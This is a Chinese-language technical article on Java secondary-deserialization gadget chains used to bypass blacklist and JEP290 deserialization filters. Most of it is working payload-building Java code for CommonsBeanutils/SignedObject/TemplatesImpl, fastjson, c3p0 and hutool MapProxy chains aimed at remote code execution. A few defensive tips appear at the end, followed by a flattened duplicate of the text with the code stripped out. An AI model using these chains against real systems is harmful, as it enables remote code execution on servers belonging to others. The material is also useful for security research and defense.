java二次反序列化链
字数 1436 2025-08-29 22:41:32

Java二次反序列化链技术详解

一、二次反序列化概念与原理

1.1 为什么要使用二次反序列化

二次反序列化主要用于绕过黑名单防御机制。当代码通过重写ObjectInputStream.resolveClass()进行黑名单防御时,二次反序列化链所需的类名不在黑名单中,从而产生bypass。

1.2 典型黑名单防御示例

public class SafeObjectInputStream extends ObjectInputStream {
    private static final Set<String> BLACKLIST = new HashSet<String>(Arrays.asList(new String[] {
        //"org.apache.commons.beanutils.BeanComparator",
        "javax.management.BadAttributeValueExpException",
        "org.apache.commons.collections4.map.AbstractHashedMap",
        "org.springframework.aop.target.HotSwappableTargetSource",
        "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
    }));

    protected Class<?> resolveClass(ObjectStreamClass desc) throws ClassNotFoundException, IOException {
        String className = desc.getName();
        if (BLACKLIST.contains(className))
            throw new InvalidClassException("Disallowed deserialization attempt: " + className);
        return super.resolveClass(desc);
    }
}

1.3 JEP290与防御绕过

JEP290引入了ObjectInputFilter机制:

// 单个ObjectInputStream设置
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("!com.sun.org.apache.xalan.internal.xsltc.trax*");
ObjectInputFilter.Config.setObjectInputFilter(ois, filter);
ois.readObject();

// 全局设置(无法通过二次反序列化绕过)
System.setProperty("jdk.serialFilter", "!com.sun.org.apache.xalan.internal.xsltc.trax*");
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();

全局设置还可以在java.security中写入jdk.serialFilter,不同JDK版本文件位置不同:

  • JDK8: jdk1.8.0_181/jre/lib/security/java.security
  • JDK11: jdk-11.0.11/conf/security/java.security

二、协议二次反序列化

2.1 RMI协议

  • JDK原生链:JRMPClientJRMPListener
  • 需要出网,受JEP290影响
  • 版本限制:
    • 8u121-8u231/8u231-8u241存在JEP290 bypass
    • 更高版本无法利用

2.2 JNDI协议

  • JDK原生链:JdbcRowSetImpl/LdapAttribute
  • 第三方依赖:SharedPoolDataSource/OracleCachedRowSet
  • 需要出网,通常接在CB/fastjson/jackson后面
  • 版本限制:
    • LDAP在JDK20完全无法反序列化
    • RMI一直到JDK22还存在反序列化点

2.3 JDBC协议

  • MySQL反序列化
  • 8.0.19是最后一个可以反序列化的版本
  • 存在不出网反序列化利用方式

三、非协议二次反序列化

3.1 SignedObject.getObject()

最常用的二次反序列化链,漏洞点一目了然,天然适合衔接CB/fastjson/jackson。

3.1.1 CB+SignedObject示例

// 构造TemplatesImpl对象
FileInputStream inputFromFile = new FileInputStream("TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

// 构造PriorityQueue链
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1"); queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

// 构造SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));

// 构造外层PriorityQueue触发链
final BeanComparator comparator2 = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue2 = new PriorityQueue<Object>(2, comparator2);
queue2.add("1"); queue2.add("1");
setFieldValue(comparator2, "property", "object");
setFieldValue(queue2, "queue", new Object[]{signedObject, signedObject});

// 序列化并测试
ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos2.writeObject(queue2);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();

3.1.2 fastjson/jackson中的使用技巧

在fastjson/jackson链中,不一定要在SignedObject.getObject()触发RCE,而是让它返回一个bean,让链继续调这个bean的getter触发RCE:

// 构造TemplatesImpl对象
FileInputStream inputFromFile = new FileInputStream("TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

// 构造SignedObject
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(obj, kp.getPrivate(), Signature.getInstance("DSA"));

// 构造fastjson触发链
JSONArray jsonArray = new JSONArray();
jsonArray.add(signedObject);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(signedObject,bd);

// 序列化并测试
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("1.ser"));
objectOutputStream.writeObject(hashMap);
objectInputStream = new ObjectInputStream(new FileInputStream("1.ser"));
objectInputStream.readObject();

3.2 RMIConnector.connect()

利用链:

RMIConnector.connect()
-> RMIConnector.findRMIServerJRMP()
-> RMIConnector.findRMIServer()
-> ObjectInputStream.readObject()

由于触发点不是getter,原生反序列化中难用,基本只能接在CC链上。

3.3 WrapperConnectionPoolDataSource.setUserOverridesAsString()

依赖c3p0,fastjson中经典链,setter转反序列化。

3.3.1 基本利用

InputStream in = new FileInputStream("1.ser");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload);
payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";
new WrapperConnectionPoolDataSource().setUserOverridesAsString(payloadHex);

利用链:

WrapperConnectionPoolDataSourceBase.setUserOverridesAsString()
-> VetoableChangeSupport.fireVetoableChange()
-> WrapperConnectionPoolDataSource$1.vetoableChange()
-> C3P0ImplUtils.parseUserOverridesAsString()
-> SerializableUtils.fromByteArray()
-> SerializableUtils.deserializeFromByteArray()
-> ObjectInputStream.readObject()

3.3.2 结合ObjectFactory

Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", 
    "com.mchange.v2.naming.JavaBeanObjectFactory", null);
InputStream in = new FileInputStream("1.ser");
byte[] payload = toByteArray(in);
String payloadHex = bytesToHex(payload);
payloadHex = "HexAsciiSerializedMap:"+payloadHex+";";
ref.add(new StringRefAddr("userOverridesAsString", payloadHex));

Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized")
    .getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
constructor.setAccessible(true);
IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(ref, null, null, null);

JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);
db.setJndiName(referenceSerialized);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));
oos.writeObject(db);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));
ois.readObject();

3.4 JavaBeanObjectFactory.REF_PROPS_KEY

同样是c3p0,利用链:

JavaBeanObjectFactory.getObjectInstance()
-> SerializableUtils.fromByteArray()
-> SerializableUtils.deserializeFromByteArray()
-> ObjectInputStream.readObject()

示例代码:

Reference ref = new Reference("com.mchange.v2.c3p0.WrapperConnectionPoolDataSource", 
    "com.mchange.v2.naming.JavaBeanObjectFactory", null);
InputStream in = new FileInputStream("1.ser");
byte[] payload = toByteArray(in);
ref.add(new BinaryRefAddr("com.mchange.v2.naming.JavaBeanReferenceMaker.REF_PROPS_KEY", payload));

Constructor<?> constructor = Class.forName("com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized")
    .getDeclaredConstructor(Reference.class, Name.class, Name.class, Hashtable.class);
constructor.setAccessible(true);
IndirectlySerialized referenceSerialized = (IndirectlySerialized) constructor.newInstance(ref, null, null, null);

JndiRefDataSourceBase db = new JndiRefDataSourceBase(true);
db.setJndiName(referenceSerialized);

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.ser"));
oos.writeObject(db);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("2.ser"));
ois.readObject();

3.5 MapProxy.invoke()

依赖hutool,利用链:

MapProxy.invoke()
-> Convert.convert()
-> Convert.convertWithCheck()
-> ConverterRegistry.convert()
-> BeanConverter.convert()
-> BeanConverter.convertInternal()
-> ObjectUtil.deserialize()
-> SerializeUtil.deserialize()
-> IoUtil.readObj()
-> ValidateObjectInputStream.readObject()

示例代码:

// 构造TemplatesImpl对象
FileInputStream inputFromFile = new FileInputStream("TemplatesImplCalc.class");
byte[] bs = new byte[inputFromFile.available()];
inputFromFile.read(bs);
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{bs});
setFieldValue(obj, "_name", "TemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
setFieldValue(obj, "_transletIndex", 0);

// 构造PriorityQueue链
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1"); queue.add("1");
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});

// 构造MapProxy
HashMap map = new HashMap();
map.put("bounds", serialize(queue));
MapProxy mapProxy = MapProxy.create(map);
Class proxyClass = Shape.class;
Shape proxy = (Shape) Proxy.newProxyInstance(proxyClass.getClassLoader(), new Class[] {proxyClass}, mapProxy);

// 构造外层PriorityQueue触发链
setFieldValue(comparator, "property", "bounds");
setFieldValue(queue, "queue", new Object[]{proxy, proxy});

// 序列化并测试
ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));
oos2.writeObject(queue);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));
ois.readObject();

四、防御建议

  1. 使用全局jdk.serialFilter设置
  2. 避免使用黑名单机制,采用白名单机制
  3. 及时更新JDK版本
  4. 对反序列化操作进行严格权限控制
  5. 避免不可信数据的反序列化操作

五、总结

二次反序列化是绕过黑名单防御的有效手段,理解其原理和各种实现方式对于安全研究和防御都至关重要。在实际应用中,应根据具体环境和需求选择合适的防御策略。

Java二次反序列化链技术详解 一、二次反序列化概念与原理 1.1 为什么要使用二次反序列化 二次反序列化主要用于绕过黑名单防御机制。当代码通过重写 ObjectInputStream.resolveClass() 进行黑名单防御时,二次反序列化链所需的类名不在黑名单中,从而产生bypass。 1.2 典型黑名单防御示例 1.3 JEP290与防御绕过 JEP290引入了 ObjectInputFilter 机制: 全局设置还可以在 java.security 中写入 jdk.serialFilter ,不同JDK版本文件位置不同: JDK8: jdk1.8.0_181/jre/lib/security/java.security JDK11: jdk-11.0.11/conf/security/java.security 二、协议二次反序列化 2.1 RMI协议 JDK原生链: JRMPClient 和 JRMPListener 需要出网,受JEP290影响 版本限制: 8u121-8u231/8u231-8u241存在JEP290 bypass 更高版本无法利用 2.2 JNDI协议 JDK原生链: JdbcRowSetImpl / LdapAttribute 第三方依赖: SharedPoolDataSource / OracleCachedRowSet 需要出网,通常接在CB/fastjson/jackson后面 版本限制: LDAP在JDK20完全无法反序列化 RMI一直到JDK22还存在反序列化点 2.3 JDBC协议 MySQL反序列化 8.0.19是最后一个可以反序列化的版本 存在不出网反序列化利用方式 三、非协议二次反序列化 3.1 SignedObject.getObject() 最常用的二次反序列化链,漏洞点一目了然,天然适合衔接CB/fastjson/jackson。 3.1.1 CB+SignedObject示例 3.1.2 fastjson/jackson中的使用技巧 在fastjson/jackson链中,不一定要在 SignedObject.getObject() 触发RCE,而是让它返回一个bean,让链继续调这个bean的getter触发RCE: 3.2 RMIConnector.connect() 利用链: 由于触发点不是getter,原生反序列化中难用,基本只能接在CC链上。 3.3 WrapperConnectionPoolDataSource.setUserOverridesAsString() 依赖c3p0,fastjson中经典链,setter转反序列化。 3.3.1 基本利用 利用链: 3.3.2 结合ObjectFactory 3.4 JavaBeanObjectFactory.REF_ PROPS_ KEY 同样是c3p0,利用链: 示例代码: 3.5 MapProxy.invoke() 依赖hutool,利用链: 示例代码: 四、防御建议 使用全局 jdk.serialFilter 设置 避免使用黑名单机制,采用白名单机制 及时更新JDK版本 对反序列化操作进行严格权限控制 避免不可信数据的反序列化操作 五、总结 二次反序列化是绕过黑名单防御的有效手段,理解其原理和各种实现方式对于安全研究和防御都至关重要。在实际应用中,应根据具体环境和需求选择合适的防御策略。